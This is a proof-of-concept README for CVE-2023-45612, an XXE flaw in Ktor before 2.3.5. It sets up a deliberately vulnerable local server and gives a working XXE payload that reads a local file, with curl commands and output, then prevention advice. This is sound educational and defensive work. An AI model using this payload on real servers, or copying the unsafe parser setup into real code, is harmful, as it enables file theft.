This repository provides a Proof of Concept for CVE-2023-45612, demonstrating an XML External Entity (XXE) injection vulnerability in JetBrains Ktor versions prior to 2.3.5.
# CVE-2023-45612: JetBrains Ktor XXE Proof of Concept
This repository contains a vulnerable Ktor server to demonstrate the XML External Entity (XXE) injection vulnerability identified in [CVE-2023-45612](https://nvd.nist.gov/vuln/detail/CVE-2023-45612).
The vulnerability exists in Ktor versions before `2.3.5` when the `ContentNegotiation` plugin is used with the default `xml()` serializer. The default XML parser was not configured to prevent the resolution of external entities, allowing attackers to read arbitrary files from the server.
The following sections are the steps to recreate the exploit on your own.
## Prerequisites
Versions I used for this PoC:
- IntelliJ IDEA 2025.2.3
- JDK 21
- Gradle 8.14
- Ktor 2.3.4
## Setup
Create a Ktor project in IntelliJ IDEA with the Netty engine, Gradle Kotlin and Ktor version `2.3.4` (or an earlier version).
Inside the `build.gradle.kts` you will need to introduce the following plugin:
kotlin("plugin.serialization") version "2.2.20"
and these dependencies;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
## Code
`Application.kt` should contain the main function to start the server and the module() function to configure it. By default, the xml() function initializes an XML parser that allows external entity processing.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
`Routing.kt` should define the endpoint that will receive and parse the malicious XML.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
## How to Run
Build the application and start the server.
./gradlew build
./gradlew run
To test the end point, create an XML file named `hello_message.xml`.
<Message>
<message>Hello, world!</message>
</Message>
You can execute it with the following `curl` (on Windows):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
And you should get the following message if successful:
Message received: Hello, world!
## How to Exploit
Create a `secret_file.txt` with some text in it. The information inside is what we want to obtain with our exploit.
Create a file named `exploit_message.xml`. Its contents should define an external entity `&xxe;` as the content of the `secret_file.txt` file and then use that entity within the `<message>` tags.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
Execute the following `curl` command (on Windows) to the running server:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
The server will read the `secret_file.txt` file and send its contents back in the HTTP response:
Message received: XXE was a success.
## Prevention Guidelines
### Update Ktor
The most effective solution is to update Ktor to version `2.3.5` or later. They use a securely configured default XML parser that disables document type definition processing and external entities by default, which directly prevents this XXE attack. Alternatively, you could also manually configure the XML parser.
### Implement strict input validation
As an extra layer of defense, read the raw request body as plain text and reject it if it contains suspicious keywords like `<!DOCTYPE` or `<!ENTITY` before it ever reaches the parser.
### Use a different serialization format
This vulnerability is specific to XML parsing. If your application's requirements are flexible, the most secure change is to avoid XML entirely and use a format that does not have this class of vulnerability, like JSON.
### Test code against known vulnerabilities
Actively try to find security flaws by checking your libraries for known vulnerabilities and to test your app for common exploits.
[4.0K] /data/pocs/2c3ed8315263c3b87f320724e898c807fed3c642
├── [ 875] build.gradle.kts
├── [4.0K] gradle
│ └── [4.0K] wrapper
│ ├── [ 43K] gradle-wrapper.jar
│ └── [ 251] gradle-wrapper.properties
├── [ 91] gradle.properties
├── [8.5K] gradlew
├── [2.8K] gradlew.bat
├── [4.3K] README.md
├── [ 18] secret_file.txt
├── [ 128] settings.gradle.kts
└── [4.0K] src
└── [4.0K] main
├── [4.0K] kotlin
│ ├── [ 438] Application.kt
│ └── [1.0K] Routing.kt
└── [4.0K] resources
├── [ 122] application.yaml
└── [ 425] logback.xml
7 directories, 13 files